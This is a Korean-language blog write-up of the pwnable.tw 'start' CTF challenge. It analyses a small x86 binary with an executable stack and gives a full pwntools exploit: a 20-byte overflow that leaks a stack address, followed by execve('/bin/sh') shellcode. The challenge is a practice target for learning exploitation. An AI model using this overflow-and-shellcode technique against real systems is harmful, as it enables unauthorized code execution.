문제

Just a start.

nc chall.pwnable.tw 10000


분석

이 문제의 바이너리는 따로 main함수를 가지지 않고 굉장히 간단한 구조를 가지고 있다.
아래는 어셈으로 본 프로그램 구조

이 때, 0x0804806e부터 0x08048082까지 push 하는 내용은 문자열이다. ('Let's start the CTF:')

0x08048097에서 사용자로부터 입력을 받아들인다.

심지어 스택에는 rwx 권한도 주어져있다.



EXPLOIT

스택에 실행권한도 있겠다, 당연히 쉘코드를 이용하는 문제인 것 같아 보인다.

하지만 바로 쉘코드를 실행할 수는 없다.

우리가 해야 할 일은 주소를 아는 곳에 쉘코드를 넣고 실행흐름을 그 주소로 뛰어주는 것이다. (ret address 이용)

첫번째 입력을 받을 때는 위의 출력코드로 뛰게 하여 스택 주소를 우선 릭하고

쉘코드를 실행하도록 하였다.

아래는 익스플로잇 코드

#!/usr/bin/env python
# pwnable.tw start

from pwn import *

debug = 0
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"

def exploit():
       
    s.recv(1024)
    payload1 =  ''
    payload1 += 'a' * 20
    payload1 += p32(0x8048087)
    s.send(payload1)

    re = s.recv(4)
    stack = u32(re)
    if debug:
        log.info('stack:'+ hex(stack))
   
    payload2  = ''
    payload2 += 'a' * 20
    payload2 += p32(stack + 0x14)
    payload2 += shellcode
    s.send(payload2)


if __name__ == '__main__':
    if debug:
        s = process('./start')
        pause()
    else:
         s = remote('chall.pwnable.tw', 10000)
   
    exploit()
    s.interactive()
    s.close()


현재 [esp]에 스택의 주소('Let's start the CTF:'의 주소)가 적혀있기 때문에 mov ecx, esp 를 한번 더 하고 출력하게 되면 우리는 스택주소를 얻을 수 있다.

스택 오프셋 등은 동적분석을 통해 구한 값이다.


sol_start.py



FL4G

'pwnable.tw' 카테고리의 다른 글

[pwnable.tw] Silver Bullet writeup  (0) 2018.10.11
[pwnable.tw] hacknote writeup  (0) 2018.10.11
[pwnable.tw] dubblesort writeup  (0) 2018.10.11
[pwnable.tw] calc writeup  (0) 2018.10.11
[pwnable.tw] orw writeup  (0) 2018.10.11

+ Recent posts